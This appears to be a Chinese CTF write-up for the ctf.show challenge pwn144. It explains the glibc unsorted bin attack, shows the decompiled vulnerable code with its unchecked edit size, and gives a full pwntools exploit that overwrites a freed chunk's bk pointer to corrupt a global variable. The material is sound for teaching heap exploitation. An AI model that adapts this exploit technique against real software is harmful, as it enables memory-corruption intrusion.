unsorted bin attack
原理学习:
首先我们来了解一下unsorted bin的结构
unsorted bin是双链表,和fastbin不同,但是都在mian_arena里,所以unsorted bin 头节点的地址就是mian_arena+偏移。
那我们怎么利用这个进行攻击呢。攻击过程和unstore的结构如下:

最后一步指针为什么是这样变化的可以去看看unlink执行过程的指针变化。
从图中我们可以看出我们可以把地址改成一个值但是值是个很大的值,而且我们自己不能控制。
pwn144
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; char buf[8]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); init(argc, argv, envp); logo(); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 3 ) break; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 114514 ) { if ( (unsigned __int64)magic <= 0x1BF52 ) { puts("So sad !"); } else { puts("Congrt !"); TaT(); } } else { LABEL_17: puts("Invalid Choice"); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 edit_heap() { int v1; __int64 v2; char buf[4]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( (unsigned int)v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(heaparray[v1], v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
|
edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。
攻击思路:
- 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
- 将chunk1的bk改成magic的地址-0x10
- 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。
攻击原理:利用 malloc 从 Unsorted Bin 中取出一个 chunk(称为 victim)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针,欺骗分配器,让它错误地更新链表,从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置(chunk header),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * count=1 gdb_flag=0 if count==0: r=process('./pwn') else: r=remote('pwn.challenge.ctf.show',28127) if gdb_flag==1: gdb.attach(io) def cmd(x): r.recvuntil(b'Your choice :') r.sendline(str(x)) def add(size,data): cmd(1) r.recvuntil(b'Size of Heap : ') r.sendline(str(size)) r.recvuntil(b'Content of heap:') r.sendline(data) def delete(index): cmd(3) r.recvuntil(b'Index :') r.sendline(str(index)) def edit(index,size,data): cmd(2) r.recvuntil(b'Index :') r.sendline(str(index)) r.recvuntil(b'Size of Heap : ') r.sendline(str(size)) r.recvuntil(b'Content of heap : ') r.send(data) add(0x80,b'aaaa') add(0x80,b'bbbb') add(0x80,b'cccc') delete(1) target=0x6020a0 payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10) edit(0,len(payload),payload) add(0x80,b'dddd') cmd(114514) r.interactive()
|